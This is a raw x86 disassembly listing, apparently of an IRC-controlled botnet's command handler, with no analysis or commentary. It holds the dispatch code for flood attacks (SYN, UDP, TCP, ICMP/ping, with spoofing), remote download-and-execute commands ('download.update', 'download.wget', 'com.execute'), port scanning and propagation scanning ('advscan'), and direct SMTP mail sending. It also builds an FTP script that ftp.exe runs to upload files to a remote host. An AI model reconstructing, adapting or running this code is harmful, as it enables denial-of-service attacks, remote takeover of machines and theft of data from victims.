loc_40F2C5:				; CODE XREF: sub_40D2E0+1E04j
					; sub_40D2E0+1E34j ...
		cmp	[ebp+var_8], ebx
		jnz	loc_40DC90
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40BAE7
		add	esp, 14h
		jmp	loc_40DC90
; ---------------------------------------------------------------------------


loc_40F2EF:				; CODE XREF: sub_40D2E0+1E6Bj
		push	[ebp+arg_8]
		push	offset aCom_net	; "com.net"
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40F582
		cmp	ds:dword_436538, ebx
		jz	short loc_40F320
		cmp	ds:dword_436560, ebx
		jz	short loc_40F320
		push	offset dword_42D694
		jmp	loc_40F53C
; ---------------------------------------------------------------------------


loc_40F320:				; CODE XREF: sub_40D2E0+202Cj
					; sub_40D2E0+2034j
		cmp	[ebp+var_C], ebx
		jz	loc_40F54A
		mov	eax, [ebp+esi+var_8C]
		mov	[ebp+arg_0], ebx
		cmp	eax, ebx
		mov	[ebp+arg_18], eax
		jz	short loc_40F348
		push	eax
		push	[ebp+var_C]
		call	sub_415A50
		pop	ecx
		mov	[ebp+arg_0], eax
		pop	ecx


loc_40F348:				; CODE XREF: sub_40D2E0+2058j
		push	edi
		push	offset aStart	; "start"
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F394
		cmp	[ebp+arg_18], ebx
		jz	short loc_40F368
		push	[ebp+arg_0]
		push	3
		jmp	loc_40F3F2
; ---------------------------------------------------------------------------


loc_40F368:				; CODE XREF: sub_40D2E0+207Cj
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40BE21
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_40F38A
		push	offset dword_42D658
		jmp	loc_40F53C
; ---------------------------------------------------------------------------


loc_40F38A:				; CODE XREF: sub_40D2E0+209Ej
		push	offset dword_42D628
		jmp	loc_40F53C
; ---------------------------------------------------------------------------


loc_40F394:				; CODE XREF: sub_40D2E0+2077j
		push	edi
		push	offset aStop	; "stop"
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F3AC
		push	[ebp+arg_0]
		push	4
		jmp	short loc_40F3F2
; ---------------------------------------------------------------------------


loc_40F3AC:				; CODE XREF: sub_40D2E0+20C3j
		push	edi
		push	offset aPause	; "pause"
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F3C4
		push	[ebp+arg_0]
		push	5
		jmp	short loc_40F3F2
; ---------------------------------------------------------------------------


loc_40F3C4:				; CODE XREF: sub_40D2E0+20DBj
		push	edi
		push	offset aContinue ; "continue"
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F3DC
		push	[ebp+arg_0]
		push	6
		jmp	short loc_40F3F2
; ---------------------------------------------------------------------------


loc_40F3DC:				; CODE XREF: sub_40D2E0+20F3j
		push	edi
		push	offset aDelete	; "delete"
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F3FE
		push	[ebp+arg_0]
		push	1


loc_40F3F2:				; CODE XREF: sub_40D2E0+2083j
					; sub_40D2E0+20CAj ...
		call	sub_40BB87
		pop	ecx
		pop	ecx
		jmp	loc_40F519
; ---------------------------------------------------------------------------


loc_40F3FE:				; CODE XREF: sub_40D2E0+210Bj
		push	edi
		push	offset aShare	; "share"
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F469
		cmp	[ebp+arg_18], ebx
		jz	short loc_40F43C
		cmp	[ebp+var_9C4], bl
		jz	short loc_40F42F
		push	ebx
		push	[ebp+arg_18]
		push	1


loc_40F422:				; CODE XREF: sub_40D2E0+215Aj
		call	sub_40BF5E
		add	esp, 0Ch
		jmp	loc_40F519
; ---------------------------------------------------------------------------


loc_40F42F:				; CODE XREF: sub_40D2E0+213Aj
		push	[ebp+esi+var_88]
		push	[ebp+arg_18]
		push	ebx
		jmp	short loc_40F422
; ---------------------------------------------------------------------------


loc_40F43C:				; CODE XREF: sub_40D2E0+2132j
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40C154
		add	esp, 10h
		test	eax, eax
		jz	short loc_40F45F
		push	offset dword_42D5CC
		jmp	loc_40F53C
; ---------------------------------------------------------------------------


loc_40F45F:				; CODE XREF: sub_40D2E0+2173j
		push	offset dword_42D59C
		jmp	loc_40F53C
; ---------------------------------------------------------------------------


loc_40F469:				; CODE XREF: sub_40D2E0+212Dj
		push	edi
		push	offset aUser	; "user"
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F4EC
		mov	eax, [ebp+arg_18]
		cmp	eax, ebx
		jz	short loc_40F4C5
		cmp	[ebp+var_9C4], bl
		jz	short loc_40F49B
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		push	ebx
		push	eax
		push	1
		jmp	short loc_40F4B5
; ---------------------------------------------------------------------------


loc_40F49B:				; CODE XREF: sub_40D2E0+21A7j
		push	[ebp+var_4]
		mov	esi, [ebp+esi+var_88]
		cmp	esi, ebx
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		jz	short loc_40F4BF
		push	esi
		push	eax
		push	ebx


loc_40F4B5:				; CODE XREF: sub_40D2E0+21B9j
					; sub_40D2E0+21E3j
		call	sub_40C275
		add	esp, 18h
		jmp	short loc_40F519
; ---------------------------------------------------------------------------


loc_40F4BF:				; CODE XREF: sub_40D2E0+21D0j
		push	ebx
		push	eax
		push	2
		jmp	short loc_40F4B5
; ---------------------------------------------------------------------------


loc_40F4C5:				; CODE XREF: sub_40D2E0+219Fj
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40C7A5
		add	esp, 10h
		test	eax, eax
		jz	short loc_40F4E5
		push	offset dword_42D564
		jmp	short loc_40F53C
; ---------------------------------------------------------------------------


loc_40F4E5:				; CODE XREF: sub_40D2E0+21FCj
		push	offset dword_42D538
		jmp	short loc_40F53C
; ---------------------------------------------------------------------------


loc_40F4EC:				; CODE XREF: sub_40D2E0+2198j
		push	edi
		push	offset aSend	; "send"
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F537
		cmp	[ebp+arg_18], ebx
		jz	short loc_40F530
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40CA59
		add	esp, 10h


loc_40F519:				; CODE XREF: sub_40D2E0+2119j
					; sub_40D2E0+214Aj ...
		push	eax
		push	offset aS_2	; "%s"


loc_40F51F:				; CODE XREF: sub_40D2E0+4852j
					; sub_40D2E0+4B79j ...
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_415480


loc_40F52B:				; CODE XREF: sub_40D2E0+5703j
		add	esp, 0Ch
		jmp	short loc_40F54A
; ---------------------------------------------------------------------------


loc_40F530:				; CODE XREF: sub_40D2E0+2220j
		push	offset dword_42D508
		jmp	short loc_40F53C
; ---------------------------------------------------------------------------


loc_40F537:				; CODE XREF: sub_40D2E0+221Bj
		push	offset dword_42D4DC


loc_40F53C:				; CODE XREF: sub_40D2E0+203Bj
					; sub_40D2E0+20A5j ...
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_415480
		pop	ecx
		pop	ecx


loc_40F54A:				; CODE XREF: sub_40D2E0+2043j
					; sub_40D2E0+224Ej ...
		cmp	[ebp+var_8], ebx
		jnz	short loc_40F56B
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40BAE7
		add	esp, 14h


loc_40F56B:				; CODE XREF: sub_40D2E0+226Dj
					; sub_40D2E0+4847j ...
		mov	esi, [ebp+arg_24]


loc_40F56E:				; CODE XREF: sub_40D2E0+9B3j
					; sub_40D2E0+4B35j ...
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_40A5B3
		pop	ecx
		mov	eax, esi
		jmp	loc_40D6AA
; ---------------------------------------------------------------------------


loc_40F582:				; CODE XREF: sub_40D2E0+2020j
		push	[ebp+arg_8]
		push	offset aCom_capture ; "com.capture"
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41186E
		push	[ebp+arg_8]
		push	offset aCom_cap	; "com.cap"
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41186E
		push	[ebp+arg_8]
		push	offset aIrc_gethost ; "irc.gethost"
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411780
		push	[ebp+arg_8]
		push	offset aIrc_gh	; "irc.gh"
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411780
		mov	eax, [ebp+esi+var_8C]
		cmp	eax, ebx
		mov	[ebp+arg_18], eax
		jz	loc_40D6A7
		push	[ebp+arg_8]
		push	offset aIrc_addalias ; "irc.addalias"
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41174E
		push	[ebp+arg_8]
		push	offset aIrc_aa	; "irc.aa"
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41174E
		push	[ebp+arg_8]
		push	offset aIrc_privmsg ; "irc.privmsg"
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4116F8
		push	[ebp+arg_8]
		push	offset aIrc_pm	; "irc.pm"
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4116F8
		push	[ebp+arg_8]
		push	offset aIrc_action ; "irc.action"
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411692
		push	[ebp+arg_8]
		push	offset aIrc_ac	; "irc.ac"
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411692
		push	[ebp+arg_8]
		push	offset aIrc_cycle ; "irc.cycle"
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411629
		push	[ebp+arg_8]
		push	offset aIrc_cy	; "irc.cy"
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411629
		push	[ebp+arg_8]
		push	offset aIrc_mode ; "irc.mode"
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4115EF
		push	[ebp+arg_8]
		push	offset aIrc_m	; "irc.m"
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4115EF
		push	[ebp+arg_8]
		push	offset aClone_raw ; "clone.raw"
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411581
		push	[ebp+arg_8]
		push	offset aClone_ra ; "clone.ra"
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411581
		push	[ebp+arg_8]
		push	offset aClone_mode ; "clone.mode"
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4114FC
		push	[ebp+arg_8]
		push	offset aClone_m	; "clone.m"
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4114FC
		push	[ebp+arg_8]
		push	offset aClone_nick ; "clone.nick"
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411490
		push	[ebp+arg_8]
		push	offset aClone_ni ; "clone.ni"
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411490
		push	[ebp+arg_8]
		push	offset aClone_join ; "clone.join"
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41146A
		push	[ebp+arg_8]
		push	offset aClone_j	; "clone.j"
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41146A
		push	[ebp+arg_8]
		push	offset aClone_part ; "clone.part"
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411407
		push	[ebp+arg_8]
		push	offset aClone_p	; "clone.p"
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411407
		push	[ebp+arg_8]
		push	offset aIrc_repeat ; "irc.repeat"
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41133E
		push	[ebp+arg_8]
		push	offset aIrc_rp	; "irc.rp"
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41133E
		push	[ebp+arg_8]
		push	offset aIrc_delay ; "irc.delay"
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4112A1
		push	[ebp+arg_8]
		push	offset aIrc_de	; "irc.de"
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4112A1
		push	[ebp+arg_8]
		push	offset aDownload_updat ; "download.update"
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41111D
		push	[ebp+arg_8]
		push	offset aDownload_up ; "download.up"
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41111D
		push	[ebp+arg_8]
		push	offset aCom_execute ; "com.execute"
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41108A
		push	[ebp+arg_8]
		push	offset aCom_e	; "com.e"
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41108A
		push	[ebp+arg_8]
		push	offset aFindfile ; "findfile"
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410F89
		push	[ebp+arg_8]
		push	offset aFf	; "ff"
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410F89
		push	[ebp+arg_8]
		push	offset aCom_rename ; "com.rename"
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410F37
		push	[ebp+arg_8]
		push	offset aCom_mv	; "com.mv"
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410F37
		push	[ebp+arg_8]
		push	offset aDdos_icmp ; "ddos.icmp"
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410E36
		push	[ebp+arg_8]
		push	offset aDdos_ic	; "ddos.ic"
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410E36
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		mov	[ebp+arg_0], eax
		jz	loc_40D6A7
		push	[ebp+arg_8]
		push	offset aClone_make ; "clone.make"
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410D4B
		push	[ebp+arg_8]
		push	offset aClone_start ; "clone.start"
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410D4B
		push	[ebp+arg_8]
		push	offset dword_4240C0
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410C46
		push	[ebp+arg_8]
		push	(offset	loc_4240B3+1)
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410C46
		push	[ebp+arg_8]
		push	(offset	loc_4240A7+1)
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410C46
		push	[ebp+arg_8]
		push	offset aDdos_synflood ;	"ddos.synflood"
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410B48
		push	[ebp+arg_8]
		push	offset aDdos_synf ; "ddos.synf"
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410B48
		push	[ebp+arg_8]
		push	offset aDownload_wget ;	"download.wget"
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410A07
		push	[ebp+arg_8]
		push	offset aDownload_wg ; "download.wg"
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410A07
		push	[ebp+arg_8]
		push	offset aDaemon_redirec ; "daemon.redirect"
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41090A
		push	[ebp+arg_8]
		push	offset aDaemon_rd ; "daemon.rd"
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41090A
		push	[ebp+arg_8]
		push	offset aRoot_portscan ;	"root.portscan"
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410817
		push	[ebp+arg_8]
		push	offset aRoot_ps	; "root.ps"
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410817
		push	[ebp+arg_8]
		push	offset aClone_privmsg ;	"clone.privmsg"
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410742
		push	[ebp+arg_8]
		push	offset aClone_pm ; "clone.pm"
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410742
		push	[ebp+arg_8]
		push	offset aClone_action ; "clone.action"
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41062A
		push	[ebp+arg_8]
		push	offset aClone_ac ; "clone.ac"
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41062A
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		mov	[ebp+arg_10], eax
		jz	loc_40D6A7
		push	[ebp+arg_8]
		push	offset aAdvscan	; "advscan"
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4102D3
		push	[ebp+arg_8]
		push	offset aAsc	; "asc"
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4102D3
		push	[ebp+arg_8]
		push	offset aDdos_udpflood ;	"ddos.udpflood"
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4101B0
		push	[ebp+arg_8]
		push	offset aDdos_udpf ; "ddos.udpf"
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4101B0
		push	[ebp+arg_8]
		push	offset aU_0	; "u"
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4101B0
		push	[ebp+arg_8]
		push	offset aDdos_pingflood ; "ddos.pingflood"
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41006C
		push	[ebp+arg_8]
		push	offset aDdos_pingf ; "ddos.pingf"
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41006C
		push	[ebp+arg_8]
		push	offset aP	; "p"
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41006C
		push	[ebp+arg_8]
		push	offset aDdos_tcpflood ;	"ddos.tcpflood"
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40FED3
		push	[ebp+arg_8]
		push	offset aDdos_tcpf ; "ddos.tcpf"
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40FED3
		push	[ebp+arg_8]
		push	offset aUtil_email ; "util.email"
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40FD0A
		lea	eax, [ebp+var_3F8]
		push	edi
		push	eax
		call	sub_415B90
		push	[ebp+arg_18]
		call	sub_4159EF
		push	[ebp+arg_0]
		mov	[ebp+arg_18], eax
		lea	eax, [ebp+var_DB0]
		push	eax
		call	sub_415B90
		push	[ebp+arg_10]
		lea	eax, [ebp+var_BA8]
		push	eax
		call	sub_415B90
		push	offset asc_425D24 ; " "
		push	offset a__0	; "_"
		push	[ebp+esi+var_80]
		call	sub_408E1D
		push	eax
		lea	eax, [ebp+var_55C]
		push	eax
		call	sub_415B90
		add	esp, 30h
		lea	eax, [ebp+var_6EC]
		push	eax
		push	101h
		call	ds:dword_4363E0	; WSAStartup
		lea	eax, [ebp+var_3F8]
		push	eax
		call	ds:dword_4364EC	; gethostbyname
		push	6
		push	1
		push	2
		mov	edi, eax
		call	ds:dword_4364E8	; socket
		push	[ebp+arg_18]
		mov	esi, eax
		mov	[ebp+var_2EC], 2
		mov	eax, [edi+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_2E8], eax
		call	ds:dword_436468	; htons
		mov	[ebp+var_2EA], ax
		lea	eax, [ebp+var_55C]
		push	eax
		lea	eax, [ebp+var_DB0]
		push	eax
		lea	eax, [ebp+var_55C]
		push	eax
		lea	eax, [ebp+var_BA8]
		push	eax
		lea	eax, [ebp+var_DB0]
		push	eax
		lea	eax, [ebp+var_15B0]
		push	offset aHeloRndnickMai ; "helo $rndnick\nmail from: <%s>\nrcpt to: "...
		push	eax
		call	sub_415480
		add	esp, 1Ch
		lea	eax, [ebp+var_2EC]
		push	10h
		push	eax
		push	esi
		call	ds:dword_436410	; connect
		mov	edi, 100h
		push	ebx
		lea	eax, [ebp+var_CAC]
		push	edi
		push	eax
		push	esi
		call	ds:dword_436480	; recv
		lea	eax, [ebp+var_CAC]
		push	ebx
		push	eax
		call	sub_415C80
		pop	ecx
		push	eax
		lea	eax, [ebp+var_15B0]
		push	eax
		push	esi
		call	ds:dword_4364B8	; send
		push	ebx
		lea	eax, [ebp+var_CAC]
		push	edi
		push	eax
		push	esi
		call	ds:dword_436480	; recv
		push	esi
		call	ds:dword_436500	; closesocket
		call	ds:dword_4363C8	; WSACleanup
		lea	eax, [ebp+var_BA8]
		push	eax
		push	offset unk_42D190


loc_40FCF6:				; CODE XREF: sub_40D2E0+3B51j
					; sub_40D2E0+3E38j ...
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_415480
		add	esp, 0Ch
		jmp	loc_411ED0
; ---------------------------------------------------------------------------


loc_40FD0A:				; CODE XREF: sub_40D2E0+28C0j
		push	[ebp+arg_8]
		push	offset aUtil_httpcon ; "util.httpcon"
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40FEA2
		push	[ebp+arg_8]
		push	offset aUtil_hcon ; "util.hcon"
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40FEA2
		mov	esi, [ebp+esi+var_80]
		cmp	esi, ebx
		jz	loc_40D6A7
		push	[ebp+arg_8]
		push	offset aFtp_upload ; "ftp.upload"
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4133B5
		push	4
		push	esi
		call	sub_40B614
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40FD74
		push	esi
		push	offset dword_42D138
		jmp	loc_41206B
; ---------------------------------------------------------------------------


loc_40FD74:				; CODE XREF: sub_40D2E0+2A87j
		call	ds:dword_422048	; GetTickCount
		push	eax
		call	sub_4154D2
		pop	ecx
		call	sub_4154DC
		push	9
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_4154DC
		push	63h
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_4154DC
		cdq
		mov	ecx, 3E7h
		idiv	ecx
		lea	eax, [ebp+var_CB0]
		push	edx
		push	eax
		lea	eax, [ebp+var_BAC]
		push	offset aSIII_dll ; "%s\\%i%i%i.dll"
		push	eax
		call	sub_415480
		lea	eax, [ebp+var_BAC]
		push	offset aAb	; "ab"
		push	eax
		call	sub_415B78
		add	esp, 20h
		cmp	eax, ebx
		mov	[ebp+arg_24], eax
		jz	loc_40D6A7
		push	esi
		push	[ebp+arg_10]
		push	[ebp+arg_0]
		push	[ebp+arg_18]
		push	edi
		push	offset aOpenSSSSPutSBy ; "open %s\r\n%s\r\n%s\r\n%s\r\nput %s\r\nbye\r\n"
		push	eax
		call	sub_415B26
		push	[ebp+arg_24]
		call	sub_415AD0
		add	esp, 20h
		lea	eax, [ebp+var_BAC]
		push	eax
		lea	eax, [ebp+var_3F8]
		push	offset aSS_4	; "-s:%s"
		push	eax
		call	sub_415480
		add	esp, 0Ch
		lea	eax, [ebp+var_3F8]
		push	ebx
		push	ebx
		push	eax
		push	offset aFtp_exe	; "ftp.exe"
		push	offset aOpen	; "open"
		push	ebx
		call	ds:dword_4363DC
		test	eax, eax
		push	edi
		push	esi
		jz	short loc_40FE41
		push	offset dword_42D0C0
		jmp	short loc_40FE46
; ---------------------------------------------------------------------------


loc_40FE41:				; CODE XREF: sub_40D2E0+2B58j
		push	offset dword_42D084


loc_40FE46:				; CODE XREF: sub_40D2E0+2B5Fj
		call	sub_415480
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_40FE6F
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40BAE7
		add	esp, 14h


loc_40FE6F:				; CODE XREF: sub_40D2E0+2B71j
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_40A5B3


loc_40FE7B:				; CODE XREF: sub_40D2E0+2BC0j
		lea	eax, [ebp+var_BAC]
		push	4
		push	eax
		call	sub_40B614
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40D6A7
		lea	eax, [ebp+var_BAC]
		push	eax
		call	sub_417CDA
		jmp	short loc_40FE7B
; ---------------------------------------------------------------------------


loc_40FEA2:				; CODE XREF: sub_40D2E0+2A3Bj
					; sub_40D2E0+2A52j
		push	[ebp+esi+var_80]
		push	[ebp+arg_10]
		push	[ebp+arg_0]
		push	[ebp+arg_18]
		call	sub_4159EF
		pop	ecx
		push	eax
		push	edi
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40513E


loc_40FECB:				; CODE XREF: sub_40D2E0+587Aj
		add	esp, 24h
		jmp	loc_4133B5
; ---------------------------------------------------------------------------


loc_40FED3:				; CODE XREF: sub_40D2E0+2892j
					; sub_40D2E0+28A9j
		mov	esi, 80h
		push	edi
		lea	eax, [ebp+var_678]
		push	esi
		push	eax
		call	sub_4159FA
		lea	eax, [ebp+var_678]
		push	eax
		push	offset aSyn	; "syn"
		call	sub_4158A0
		add	esp, 14h
		test	eax, eax
		jz	short loc_40FF36
		lea	eax, [ebp+var_678]
		push	eax
		push	offset aAck	; "ack"
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40FF36
		lea	eax, [ebp+var_678]
		push	eax
		push	offset aRandom	; "random"
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40FF36
		push	offset dword_42D04C
		jmp	loc_412A6C
; ---------------------------------------------------------------------------


loc_40FF36:				; CODE XREF: sub_40D2E0+2C1Cj
					; sub_40D2E0+2C33j ...
		push	[ebp+arg_10]
		call	sub_4159EF
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_570], eax
		jle	loc_410062
		push	edi
		lea	eax, [ebp+var_678]
		push	esi
		push	eax
		call	sub_4159FA
		add	esp, 0Ch
		lea	eax, [ebp+var_6F8]
		push	[ebp+arg_18]
		push	esi
		push	eax
		call	sub_4159FA
		push	[ebp+arg_0]
		call	sub_4159EF
		mov	[ebp+var_574], eax
		add	esp, 10h
		xor	eax, eax
		cmp	[ebp+var_9B6], bl
		push	[ebp+var_8C]
		setnz	al
		mov	[ebp+var_56C], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_6FC], eax
		lea	eax, [ebp+var_5F8]
		push	esi
		push	eax
		call	sub_4159FA
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		cmp	[ebp+var_56C], ebx
		mov	[ebp+var_568], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_564], eax
		mov	eax, offset aSpoofed ; "Spoofed"
		jnz	short loc_40FFD3
		mov	eax, offset aNormal ; "Normal"


loc_40FFD3:				; CODE XREF: sub_40D2E0+2CECj
		push	[ebp+arg_10]
		push	[ebp+arg_0]
		push	[ebp+arg_18]
		push	edi
		push	eax
		push	offset dword_42CFF8
		lea	eax, [ebp+var_2DC]
		push	200h
		push	eax
		call	sub_4159FA
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	0Ch
		push	eax
		call	sub_414F2C
		add	esp, 2Ch
		mov	[ebp+var_578], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_6FC]
		push	ebx
		push	eax
		push	offset sub_401D82
		push	ebx
		push	ebx
		call	ds:dword_422070	; CreateThread
		mov	ecx, [ebp+var_578]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_43BED4[ecx], eax
		jz	short loc_410051


loc_41003B:				; CODE XREF: sub_40D2E0+2D6Fj
		cmp	[ebp+var_560], ebx
		jnz	loc_412A7A
		push	32h
		call	ds:dword_422054	; Sleep
		jmp	short loc_41003B
; ---------------------------------------------------------------------------


loc_410051:				; CODE XREF: sub_40D2E0+2D59j
		call	ds:dword_42206C	; RtlGetLastWin32Error
		push	eax
		push	offset dword_42CFB0
		jmp	loc_41206B
; ---------------------------------------------------------------------------


loc_410062:				; CODE XREF: sub_40D2E0+2C67j
		push	offset dword_42CF68
		jmp	loc_412A6C
; ---------------------------------------------------------------------------


loc_41006C:				; CODE XREF: sub_40D2E0+284Dj
					; sub_40D2E0+2864j ...
		cmp	ds:dword_436558, ebx
		mov	esi, [ebp+arg_4]
		jnz	loc_410177
		mov	eax, [ebp+var_8]
		push	7Fh
		mov	[ebp+var_300], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_304], eax
		lea	eax, [ebp+var_398]
		push	edi
		push	eax
